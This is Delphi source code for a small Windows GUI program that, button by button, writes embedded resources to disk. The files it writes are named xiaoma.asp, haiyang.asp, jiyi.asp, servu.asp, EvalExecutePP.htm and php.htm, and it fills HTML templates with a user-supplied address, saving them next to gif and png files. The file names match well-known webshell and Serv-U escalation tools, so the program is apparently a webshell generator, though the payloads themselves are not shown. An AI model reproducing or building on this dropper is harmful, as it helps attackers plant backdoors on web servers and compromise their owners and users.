程序代码
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, HTTPApp, HTTPProd;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
Edit1: TEdit;
PageProducer1: TPageProducer;
Memo1: TMemo;
SaveDialog1: TSaveDialog;
Button8: TButton;
Edit2: TEdit;
Memo2: TMemo;
PageProducer2: TPageProducer;
SaveDialog2: TSaveDialog;
GroupBox1: TGroupBox;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
GroupBox2: TGroupBox;
Label1: TLabel;
Label2: TLabel;
GroupBox3: TGroupBox;
Label8: TLabel;
Edit3: TEdit;
Button9: TButton;
Memo3: TMemo;
PageProducer3: TPageProducer;
SaveDialog3: TSaveDialog;
GroupBox4: TGroupBox;
Label9: TLabel;
Label10: TLabel;
Label11: TLabel;
Label12: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure PageProducer1HTMLTag(Sender: TObject; Tag: TTag;
const TagString: String; TagParams: TStrings;
var ReplaceText: String);
procedure PageProducer2HTMLTag(Sender: TObject; Tag: TTag;
const TagString: String; TagParams: TStrings;
var ReplaceText: String);
procedure Button8Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure PageProducer3HTMLTag(Sender: TObject; Tag: TTag;
const TagString: String; TagParams: TStrings;
var ReplaceText: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{$R 1.RES}
{$R 2.RES}
{$R 3.RES}
{$R 4.RES}
{$R 5.RES}
{$R 6.RES}
{$R 7.RES}
{$R 8.RES}
procedure ExportNewDatabase;
var
D1:TResourcesTream ;
fn1:string;
begin
fn1:=ExtractFilePath(Paramstr(0))+'\xiaoma.asp';
if not fileExists(fn1) then
begin
D1:=TResourcesTream.Create(hInstance,'xiaoma','hehe') ;
D1.SaveToFile(fn1);
D1.Free;
end;
end;
procedure ExportNewDatabase1;
var
D2:TResourcesTream ;
fn2:string;
begin
fn2:=ExtractFilePath(Paramstr(0))+'\haiyang.asp';
if not fileExists(fn2) then
begin
D2:=TResourcesTream.Create(hInstance,'haiyang','haha') ;
D2.SaveToFile(fn2);
D2.Free;
end;
end;
procedure ExportNewDatabase2;
var
D3:TResourcesTream ;
fn3:string;
begin
fn3:=ExtractFilePath(Paramstr(0))+'\jiyi.asp';
if not fileExists(fn3) then
begin
D3:=TResourcesTream.Create(hInstance,'jiyi','xixi') ;
D3.SaveToFile(fn3);
D3.Free;
end;
end;
procedure ExportNewDatabase3;
var
D4:TResourcesTream ;
fn4:string;
begin
fn4:=ExtractFilePath(Paramstr(0))+'\EvalExecutePP.htm';
if not fileExists(fn4) then
begin
D4:=TResourcesTream.Create(hInstance,'EvalExecutePP','xiao') ;
D4.SaveToFile(fn4);
D4.Free;
end;
end;
procedure ExportNewDatabase4;
var
D5:TResourcesTream ;
fn5:string;
begin
fn5:=ExtractFilePath(Paramstr(0))+'\php.htm';
if not fileExists(fn5) then
begin
D5:=TResourcesTream.Create(hInstance,'php','gaga') ;
D5.SaveToFile(fn5);
D5.Free;
end;
end;
procedure ExportNewDatabase5;
var
D6:TResourcesTream ;
fn6:string;
begin
fn6:=ExtractFilePath(Paramstr(0))+'\servu.asp';
if not fileExists(fn6) then
begin
D6:=TResourcesTream.Create(hInstance,'ser','han') ;
D6.SaveToFile(fn6);
D6.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ExportNewDatabase;
messagedlg('生成完毕!',mtinformation,[mbok],0);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ExportNewDatabase1;
messagedlg('生成完毕!',mtinformation,[mbok],0);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
ExportNewDatabase2;
messagedlg('生成完毕!',mtinformation,[mbok],0);
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
ExportNewDatabase3;
messagedlg('生成完毕!',mtinformation,[mbok],0);
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
ExportNewDatabase4;
messagedlg('生成完毕!',mtinformation,[mbok],0);
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
ExportNewDatabase5;
messagedlg('生成完毕!',mtinformation,[mbok],0);
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
if SaveDialog1.Execute then
memo1.Text:=PageProducer1.Content;
memo1.Lines.SaveToFile(SaveDialog1.FileName);
messagedlg('生成完毕!',mtinformation,[mbok],0);
end;
procedure TForm1.PageProducer1HTMLTag(Sender: TObject; Tag: TTag;
const TagString: String; TagParams: TStrings; var ReplaceText: String);
begin
if tagstring='dizhi' then
replacetext:=edit1.Text
end;
procedure TForm1.PageProducer2HTMLTag(Sender: TObject; Tag: TTag;
const TagString: String; TagParams: TStrings; var ReplaceText: String);
begin
if tagstring='si' then
replacetext:=edit2.Text
end;
procedure TForm1.Button8Click(Sender: TObject);
var
D7:TResourcesTream ;
fn7:string;
begin
if SaveDialog2.Execute then
memo2.Text:=PageProducer2.Content;
memo2.Lines.SaveToFile(SaveDialog2.FileName);
fn7:=ExtractFilePath(SaveDialog2.FileName)+'\mm.gif';
if not fileExists(fn7) then
begin
D7:=TResourcesTream.Create(hInstance,'gif','gogo') ;
D7.SaveToFile(fn7);
D7.Free;
end;
messagedlg('生成完毕!',mtinformation,[mbok],0);
end;
procedure TForm1.Button9Click(Sender: TObject);
var
D8:TResourcesTream ;
fn8:string;
begin
if SaveDialog3.Execute then
memo3.Text:=PageProducer3.Content;
memo3.Lines.SaveToFile(SaveDialog3.FileName);
fn8:=ExtractFilePath(SaveDialog3.FileName)+'\girl.png';
if not fileExists(fn8) then
begin
D8:=TResourcesTream.Create(hInstance,'png','zuihou') ;
D8.SaveToFile(fn8);
D8.Free;
end;
messagedlg('生成完毕!',mtinformation,[mbok],0);
end;
procedure TForm1.PageProducer3HTMLTag(Sender: TObject; Tag: TTag;
const TagString: String; TagParams: TStrings; var ReplaceText: String);
begin
if tagstring='wakaka' then
replacetext:=edit3.Text
end;
end.